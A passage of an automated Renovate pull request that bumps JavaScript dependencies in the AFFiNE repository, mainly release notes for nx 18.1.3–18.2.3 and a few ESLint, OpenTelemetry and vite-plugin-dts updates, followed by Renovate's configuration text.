### [`v18.2.3`](https://togithub.com/nrwl/nx/releases/tag/18.2.3)
[Compare Source](https://togithub.com/nrwl/nx/compare/18.2.2...18.2.3)
#### 18.2.3 (2024-04-05)
##### 🚀 Features
- **core:** list crystal plugins with nx report ([#​22649](https://togithub.com/nrwl/nx/pull/22649))
##### 🩹 Fixes
- **bundling:** print errors from rollup build ([#​22707](https://togithub.com/nrwl/nx/pull/22707))
- **core:** write terminal output to cache folder ([#​22673](https://togithub.com/nrwl/nx/pull/22673))
- **core:** errors from create dependencies should show properly ([#​22695](https://togithub.com/nrwl/nx/pull/22695))
- **core:** not passing props of run-commands to underlying command ([#​22595](https://togithub.com/nrwl/nx/pull/22595))
- **js:** update jest snapshot after vite-plugin-dts bump ([#​22621](https://togithub.com/nrwl/nx/pull/22621))
- **js:** append target when generating tmp tsconfig to prevent conflicts [#​21396](https://togithub.com/nrwl/nx/issues/21396) ([#​22671](https://togithub.com/nrwl/nx/pull/22671), [#​21396](https://togithub.com/nrwl/nx/issues/21396))
- **js:** propagate error from child process to [@​nx/js](https://togithub.com/nx/js):node executor ([#​22705](https://togithub.com/nrwl/nx/pull/22705))
- **misc:** fix optional branch tracking on ci pipeline ([#​22652](https://togithub.com/nrwl/nx/pull/22652))
- **module-federation:** serve dynamic remotes statically in their own processes ([#​22688](https://togithub.com/nrwl/nx/pull/22688))
- **nx-dev:** Update urls that are 404 ([#​22653](https://togithub.com/nrwl/nx/pull/22653))
- **release:** respect root .npmrc registry settings for publishing ([9dd97c43a1](https://togithub.com/nrwl/nx/commit/9dd97c43a1))
- **testing:** fix playwright executor uiPort option schema ([#​22610](https://togithub.com/nrwl/nx/pull/22610))
- **testing:** app generators should create correct e2e config at generation time ([#​22565](https://togithub.com/nrwl/nx/pull/22565))
- **vite:** ensure cache is created correctly for separate vite and vitest config files [#​22244](https://togithub.com/nrwl/nx/issues/22244) ([#​22618](https://togithub.com/nrwl/nx/pull/22618), [#​22244](https://togithub.com/nrwl/nx/issues/22244))
- **webpack:** bring back previous SVG and SVGR behavior for React projects ([#​22628](https://togithub.com/nrwl/nx/pull/22628))
- **webpack:** support standard webpack config with [@​nx/webpack](https://togithub.com/nx/webpack):dev-server ([#​22660](https://togithub.com/nrwl/nx/pull/22660))
- **webpack:** remove url-loader from dependencies since it is replaced by asset modules ([#​22698](https://togithub.com/nrwl/nx/pull/22698))
##### ❤️ Thank You
- Altan Stalker
- Austin Fahsl [@​fahslaj](https://togithub.com/fahslaj)
- Colum Ferry [@​Coly010](https://togithub.com/Coly010)
- Craigory Coppola [@​AgentEnder](https://togithub.com/AgentEnder)
- Emily Xiong [@​xiongemi](https://togithub.com/xiongemi)
- Jack Hsu [@​jaysoo](https://togithub.com/jaysoo)
- Leosvel Pérez Espinosa [@​leosvelperez](https://togithub.com/leosvelperez)
- Miroslav Jonaš [@​meeroslav](https://togithub.com/meeroslav)
- Nicholas Cunningham [@​ndcunningham](https://togithub.com/ndcunningham)
### [`v18.2.2`](https://togithub.com/nrwl/nx/releases/tag/18.2.2)
[Compare Source](https://togithub.com/nrwl/nx/compare/18.2.1...18.2.2)
#### 18.2.2 (2024-04-02)
##### 🚀 Features
- **vite:** migrate to latest vite-plugin-dts ([#​22614](https://togithub.com/nrwl/nx/pull/22614))
##### 🩹 Fixes
- **angular:** prevent false positive validation due to option default value in dev-server executor ([#​22606](https://togithub.com/nrwl/nx/pull/22606))
- **angular:** respect skipPackageJson correctly in library generator ([#​22608](https://togithub.com/nrwl/nx/pull/22608))
- **angular:** fix @​nx/angular/src/utils entry point ([#​22609](https://togithub.com/nrwl/nx/pull/22609))
- **core:** do not assume workspace inputs cause all projects to be af… ([#​22573](https://togithub.com/nrwl/nx/pull/22573))
- **react-native:** storybook relative paths ([#​22031](https://togithub.com/nrwl/nx/pull/22031))
##### ❤️ Thank You
- arekkubaczkowski [@​arekkubaczkowski](https://togithub.com/arekkubaczkowski)
- Colum Ferry [@​Coly010](https://togithub.com/Coly010)
- Jason Jean [@​FrozenPandaz](https://togithub.com/FrozenPandaz)
- Leosvel Pérez Espinosa [@​leosvelperez](https://togithub.com/leosvelperez)
### [`v18.2.1`](https://togithub.com/nrwl/nx/releases/tag/18.2.1)
[Compare Source](https://togithub.com/nrwl/nx/compare/18.2.0...18.2.1)
##### 18.2.1 (2024-03-28)
##### 🩹 Fixes
- **nuxt:** use loadConfigFile from devkit rather than [@​nuxt/kit](https://togithub.com/nuxt/kit) ([#​22571](https://togithub.com/nrwl/nx/pull/22571))
##### ❤️ Thank You
- Jack Hsu [@​jaysoo](https://togithub.com/jaysoo)
### [`v18.2.0`](https://togithub.com/nrwl/nx/releases/tag/18.2.0)
[Compare Source](https://togithub.com/nrwl/nx/compare/18.1.3...18.2.0)
##### 18.2.0 (2024-03-28)
##### 🚀 Features
- **angular:** support angular 17.3.0 ([#​22202](https://togithub.com/nrwl/nx/pull/22202))
- **bundling:** refactor rollup executor to perform single build for all formats ([#​22436](https://togithub.com/nrwl/nx/pull/22436))
- **core:** add ability to add metadata to projects ([#​22299](https://togithub.com/nrwl/nx/pull/22299))
- **core:** create structured project graph errors with all plugin er… ([#​22404](https://togithub.com/nrwl/nx/pull/22404))
- **core:** add ability to scope plugins ([#​22379](https://togithub.com/nrwl/nx/pull/22379))
- **gradle:** add gradle init generator ([#​22245](https://togithub.com/nrwl/nx/pull/22245))
- **gradle:** make gradle public ([#​22399](https://togithub.com/nrwl/nx/pull/22399))
- **gradle:** add gradle init generator ([#​22245](https://togithub.com/nrwl/nx/pull/22245))
- **gradle:** add technology ([#​22528](https://togithub.com/nrwl/nx/pull/22528))
- **graph:** remove polyfills from graph client ([#​22494](https://togithub.com/nrwl/nx/pull/22494))
- **testing:** infer open-cypress task ([#​22556](https://togithub.com/nrwl/nx/pull/22556))
- **webpack:** create build log for remotes to help debug errors ([#​22539](https://togithub.com/nrwl/nx/pull/22539))
##### 🩹 Fixes
- **angular:** target correct versions of ng-packagr to create stylesheet worker synchronously ([#​22485](https://togithub.com/nrwl/nx/pull/22485))
- **angular:** prevent creating stylesheet worker multiple times in ng-packagr executors ([#​22491](https://togithub.com/nrwl/nx/pull/22491))
- **bundling:** prevent sensitive keys from being bundled ([#​22413](https://togithub.com/nrwl/nx/pull/22413))
- **bundling:** prevent sensitive keys from being bundled ([#​22413](https://togithub.com/nrwl/nx/pull/22413))
- **core:** override Path env variable on Windows platform ([#​22382](https://togithub.com/nrwl/nx/pull/22382))
- **core:** Should work if extends is a string ([a00f6438b9](https://togithub.com/nrwl/nx/commit/a00f6438b9))
- **core:** fix no plugins found for nx init without packge.json ([#​22434](https://togithub.com/nrwl/nx/pull/22434))
- **core:** exponential backoff retry on cache put fail ([#​21926](https://togithub.com/nrwl/nx/pull/21926))
- **core:** override Path env variable on Windows platform ([#​22382](https://togithub.com/nrwl/nx/pull/22382))
- **core:** Should work if extends is a string ([66ae83e569](https://togithub.com/nrwl/nx/commit/66ae83e569))
- **core:** fix no plugins found for nx init without packge.json ([#​22434](https://togithub.com/nrwl/nx/pull/22434))
- **core:** exponential backoff retry on cache put fail ([#​21926](https://togithub.com/nrwl/nx/pull/21926))
- **core:** cannot read property kind of undefined ([#​21715](https://togithub.com/nrwl/nx/pull/21715))
- **core:** rethrow unknown errors during incremental graph calculation ([#​22522](https://togithub.com/nrwl/nx/pull/22522))
- **core:** ignore yarn/cache when watching with the daemon ([#​22516](https://togithub.com/nrwl/nx/pull/22516))
- **core:** handle undefined properties in schemas with additionalProperties ([#​22426](https://togithub.com/nrwl/nx/pull/22426))
- **core:** fix caching outputs which have symlinks ([#​22548](https://togithub.com/nrwl/nx/pull/22548))
- **gradle:** fix missing tasks ([#​22400](https://togithub.com/nrwl/nx/pull/22400))
- **gradle:** fix gradle plugin path ([#​22405](https://togithub.com/nrwl/nx/pull/22405))
- **gradle:** fix missing tasks ([#​22400](https://togithub.com/nrwl/nx/pull/22400))
- **gradle:** fix gradle plugin path ([#​22405](https://togithub.com/nrwl/nx/pull/22405))
- **gradle:** fix gradle to work on windows ([#​22470](https://togithub.com/nrwl/nx/pull/22470))
- **gradle:** fix gradle icon ([#​22553](https://togithub.com/nrwl/nx/pull/22553))
- **gradle:** only allow certain types of task to be cached ([#​22559](https://togithub.com/nrwl/nx/pull/22559))
- **gradle:** add [@​nx/gradle](https://togithub.com/nx/gradle) to nx migrations ([#​22567](https://togithub.com/nrwl/nx/pull/22567))
- **js:** update babel preset to specify minor version of core-js for better optimization ([#​22433](https://togithub.com/nrwl/nx/pull/22433))
- **js:** match core-js version with babel options ([#​22493](https://togithub.com/nrwl/nx/pull/22493))
- **js:** migrate core-js to 3.36 for workspaces that use it ([#​22495](https://togithub.com/nrwl/nx/pull/22495))
- **js:** handle case where tslib or [@​swc/helpers](https://togithub.com/swc/helpers) are missing from externalNodes ([#​22523](https://togithub.com/nrwl/nx/pull/22523))
- **js:** do not write cached lockfile parsed results when an error is… ([#​22526](https://togithub.com/nrwl/nx/pull/22526))
- **linter:** convert parser options to flat config even is parser is missing ([#​22388](https://togithub.com/nrwl/nx/pull/22388))
- **linter:** convert parser options to flat config even is parser is missing ([#​22388](https://togithub.com/nrwl/nx/pull/22388))
- **misc:** handle cwd correctly when generating artifacts with as-provided ([#​22411](https://togithub.com/nrwl/nx/pull/22411))
- **misc:** handle cwd correctly when generating artifacts with as-provided ([#​22411](https://togithub.com/nrwl/nx/pull/22411))
- **misc:** align nx init package.json scripts handling when deselecting all plugins ([#​22490](https://togithub.com/nrwl/nx/pull/22490))
- **react:** HMR for withModuleFederation [#​22300](https://togithub.com/nrwl/nx/issues/22300) ([#​22562](https://togithub.com/nrwl/nx/pull/22562), [#​22300](https://togithub.com/nrwl/nx/issues/22300))
- **remix:** generate correct e2e config if Crystal is used ([#​22558](https://togithub.com/nrwl/nx/pull/22558))
- **rollup:** remove exports field from @​nx/rollup/package.json since is a breaking change ([#​22545](https://togithub.com/nrwl/nx/pull/22545))
- **storybook:** do not set cacheableOperations if not previously set ([#​22535](https://togithub.com/nrwl/nx/pull/22535))
- **testing:** remove root from the cypress ci-e2e group ([#​22468](https://togithub.com/nrwl/nx/pull/22468))
- **testing:** name group of e2e ci tasks distinctly from target name ([#​22525](https://togithub.com/nrwl/nx/pull/22525))
- **web:** spa flag should correctly define redirect ([#​22487](https://togithub.com/nrwl/nx/pull/22487))
- **webpack:** Stylus loader path ([#​22373](https://togithub.com/nrwl/nx/pull/22373))
- **webpack:** Stylus loader path ([#​22373](https://togithub.com/nrwl/nx/pull/22373))
- **webpack:** pass options from executor to NxWebpackPlugin correctly ([#​22529](https://togithub.com/nrwl/nx/pull/22529))
- **webpack:** resolve assets from executor options as relative to workspace root ([#​22544](https://togithub.com/nrwl/nx/pull/22544))
##### ❤️ Thank You
- Colum Ferry [@​Coly010](https://togithub.com/Coly010)
- Emily Xiong [@​xiongemi](https://togithub.com/xiongemi)
- Jack Hsu [@​jaysoo](https://togithub.com/jaysoo)
- Jason Jean [@​FrozenPandaz](https://togithub.com/FrozenPandaz)
- Joel Pelaez Jorge
- Leosvel Pérez Espinosa [@​leosvelperez](https://togithub.com/leosvelperez)
- Maxence LEFEBVRE
- MaxKless [@​MaxKless](https://togithub.com/MaxKless)
- Mike Pham
- Miroslav Jonaš [@​meeroslav](https://togithub.com/meeroslav)
- Nicholas Cunningham [@​ndcunningham](https://togithub.com/ndcunningham)
### [`v18.1.3`](https://togithub.com/nrwl/nx/releases/tag/18.1.3)
[Compare Source](https://togithub.com/nrwl/nx/compare/18.1.2...18.1.3)
##### 18.1.3 (2024-03-25)
##### 🚀 Features
- **gradle:** add gradle init generator ([#​22245](https://togithub.com/nrwl/nx/pull/22245))
##### 🩹 Fixes
- **angular:** prevent creating stylesheet worker multiple times in ng-packagr executors ([#​22491](https://togithub.com/nrwl/nx/pull/22491))
- **bundling:** prevent sensitive keys from being bundled ([#​22413](https://togithub.com/nrwl/nx/pull/22413))
- **core:** override Path env variable on Windows platform ([#​22382](https://togithub.com/nrwl/nx/pull/22382))
- **core:** Should work if extends is a string ([66ae83e569](https://togithub.com/nrwl/nx/commit/66ae83e569))
- **core:** fix no plugins found for nx init without packge.json ([#​22434](https://togithub.com/nrwl/nx/pull/22434))
- **core:** exponential backoff retry on cache put fail ([#​21926](https://togithub.com/nrwl/nx/pull/21926))
- **gradle:** fix missing tasks ([#​22400](https://togithub.com/nrwl/nx/pull/22400))
- **gradle:** fix gradle plugin path ([#​22405](https://togithub.com/nrwl/nx/pull/22405))
- **linter:** convert parser options to flat config even is parser is missing ([#​22388](https://togithub.com/nrwl/nx/pull/22388))
- **misc:** handle cwd correctly when generating artifacts with as-provided ([#​22411](https://togithub.com/nrwl/nx/pull/22411))
- **webpack:** Stylus loader path ([#​22373](https://togithub.com/nrwl/nx/pull/22373))
##### ❤️ Thank You
- Emily Xiong
- Jack Hsu
- Jason Jean
- Joel Pelaez Jorge
- Leosvel Pérez Espinosa
- Mike Pham
- Miroslav Jonaš
- Nicholas Cunningham
</details>
<details>
<summary>open-telemetry/opentelemetry-js (@​opentelemetry/exporter-prometheus)</summary>
### [`v0.50.0`](3920b158d0...5231aa2550)
[Compare Source](3920b158d0...5231aa2550)
</details>
<details>
<summary>open-telemetry/opentelemetry-js-contrib (@​opentelemetry/instrumentation-graphql)</summary>
### [`v0.39.0`](9d19ca4103...17a0bc1da3)
[Compare Source](9d19ca4103...17a0bc1da3)
### [`v0.38.1`](32204a362d...39c34df61f)
[Compare Source](fcea8ca0c8...9d19ca4103)
</details>
<details>
<summary>un-ts/eslint-plugin-import-x (eslint-plugin-import-x)</summary>
### [`v0.5.0`](https://togithub.com/un-ts/eslint-plugin-import-x/blob/HEAD/CHANGELOG.md#050)
[Compare Source](https://togithub.com/un-ts/eslint-plugin-import-x/compare/v0.4.4...v0.5.0)
##### Minor Changes
- [#​66](https://togithub.com/un-ts/eslint-plugin-import-x/pull/66) [`49418a0`](49418a0352) Thanks [@​JounQin](https://togithub.com/JounQin)! - chore(dep)!: drop eslint <8.56 support
- [#​66](https://togithub.com/un-ts/eslint-plugin-import-x/pull/66) [`49418a0`](49418a0352) Thanks [@​JounQin](https://togithub.com/JounQin)! - feat!: upgrade [@​typescript-eslint/utils](https://togithub.com/typescript-eslint/utils) to v7
</details>
<details>
<summary>SonarSource/eslint-plugin-sonarjs (eslint-plugin-sonarjs)</summary>
### [`v0.25.1`](https://togithub.com/SonarSource/eslint-plugin-sonarjs/releases/tag/0.25.1)
[Compare Source](https://togithub.com/SonarSource/eslint-plugin-sonarjs/compare/0.25.0...0.25.1)
##### What's Changed
- Resolve issue [#​456](https://togithub.com/SonarSource/eslint-plugin-sonarjs/issues/456) - [@​typescript-eslint/utils](https://togithub.com/typescript-eslint/utils) dependency is missing by [@​ericmorand-sonarsource](https://togithub.com/ericmorand-sonarsource) in [https://github.com/SonarSource/eslint-plugin-sonarjs/pull/457](https://togithub.com/SonarSource/eslint-plugin-sonarjs/pull/457)
- Bump the project manifest version to 0.25.1 by [@​ericmorand-sonarsource](https://togithub.com/ericmorand-sonarsource) in [https://github.com/SonarSource/eslint-plugin-sonarjs/pull/458](https://togithub.com/SonarSource/eslint-plugin-sonarjs/pull/458)
##### New Contributors
- [@​ericmorand-sonarsource](https://togithub.com/ericmorand-sonarsource) made their first contribution in [https://github.com/SonarSource/eslint-plugin-sonarjs/pull/457](https://togithub.com/SonarSource/eslint-plugin-sonarjs/pull/457)
**Full Changelog**: https://github.com/SonarSource/eslint-plugin-sonarjs/compare/0.25.0...0.25.1
### [`v0.25.0`](https://togithub.com/SonarSource/eslint-plugin-sonarjs/releases/tag/0.25.0)
[Compare Source](https://togithub.com/SonarSource/eslint-plugin-sonarjs/compare/0.24.0...0.25.0)
#### What's Changed
- Prepare for next development iteration by [@​yassin-kammoun-sonarsource](https://togithub.com/yassin-kammoun-sonarsource) in [https://github.com/SonarSource/eslint-plugin-sonarjs/pull/446](https://togithub.com/SonarSource/eslint-plugin-sonarjs/pull/446)
- Fix FP 3699 (no-use-of-empty-return-values) to handle ambient functions by [@​zglicz](https://togithub.com/zglicz) in [https://github.com/SonarSource/eslint-plugin-sonarjs/pull/451](https://togithub.com/SonarSource/eslint-plugin-sonarjs/pull/451)
- Make no-unused-collection not trigger if writing to elements of said collection by [@​zglicz](https://togithub.com/zglicz) in [https://github.com/SonarSource/eslint-plugin-sonarjs/pull/452](https://togithub.com/SonarSource/eslint-plugin-sonarjs/pull/452)
- Replace devDependency `@typescript-eslint/experimental-utils` with `@typescript-eslint/utils` by [@​yassin-kammoun-sonarsource](https://togithub.com/yassin-kammoun-sonarsource) in [https://github.com/SonarSource/eslint-plugin-sonarjs/pull/453](https://togithub.com/SonarSource/eslint-plugin-sonarjs/pull/453)
#### New Contributors
- [@​zglicz](https://togithub.com/zglicz) made their first contribution in [https://github.com/SonarSource/eslint-plugin-sonarjs/pull/451](https://togithub.com/SonarSource/eslint-plugin-sonarjs/pull/451)
**Full Changelog**: https://github.com/SonarSource/eslint-plugin-sonarjs/compare/0.24.0...0.25.0
</details>
<details>
<summary>qmhc/vite-plugin-dts (vite-plugin-dts)</summary>
### [`v3.8.1`](https://togithub.com/qmhc/vite-plugin-dts/blob/HEAD/CHANGELOG.md#381-2024-03-28)
[Compare Source](https://togithub.com/qmhc/vite-plugin-dts/compare/v3.8.0...v3.8.1)
##### Bug Fixes
- correct process property names in imports ([fb320fb](fb320fb814)), closes [#​316](https://togithub.com/qmhc/vite-plugin-dts/issues/316)
### [`v3.8.0`](https://togithub.com/qmhc/vite-plugin-dts/blob/HEAD/CHANGELOG.md#380-2024-03-27)
[Compare Source](https://togithub.com/qmhc/vite-plugin-dts/compare/v3.7.3...v3.8.0)
##### Bug Fixes
- add syntactic and semantic diagnostics ([#​310](https://togithub.com/qmhc/vite-plugin-dts/issues/310)) ([7c10782](7c10782284))
##### Features
- collect declared modules when rollup types ([39606bd](39606bd345)), closes [#​240](https://togithub.com/qmhc/vite-plugin-dts/issues/240)
#### [3.7.3](https://togithub.com/qmhc/vite-plugin-dts/compare/v3.7.2...v3.7.3) (2024-02-21)
##### Bug Fixes
- incorrect process for removing pure import ([d0c0c86](d0c0c867d6)), closes [#​301](https://togithub.com/qmhc/vite-plugin-dts/issues/301)
#### [3.7.2](https://togithub.com/qmhc/vite-plugin-dts/compare/v3.7.1...v3.7.2) (2024-01-24)
##### Bug Fixes
- correct match result for alias form tsconfig ([88469d0](88469d0e6a)), closes [#​298](https://togithub.com/qmhc/vite-plugin-dts/issues/298)
#### [3.7.1](https://togithub.com/qmhc/vite-plugin-dts/compare/v3.7.0...v3.7.1) (2024-01-15)
##### Bug Fixes
- improve aliases replacement logic ([e8827cb](e8827cb6c8)), closes [#​294](https://togithub.com/qmhc/vite-plugin-dts/issues/294)
- manually collect compiler options for types rollup ([0d0b255](0d0b255ad2)), closes [#​297](https://togithub.com/qmhc/vite-plugin-dts/issues/297)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://togithub.com/renovatebot/renovate/discussions) if that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR has been generated by [Mend Renovate](https://www.mend.io/free-developer-tools/renovate/). View repository job log [here](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yNjEuMCIsInVwZGF0ZWRJblZlciI6IjM3LjI2OS4yIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5In0=-->
|
2024-04-11 10:17:32 +00:00 |
|
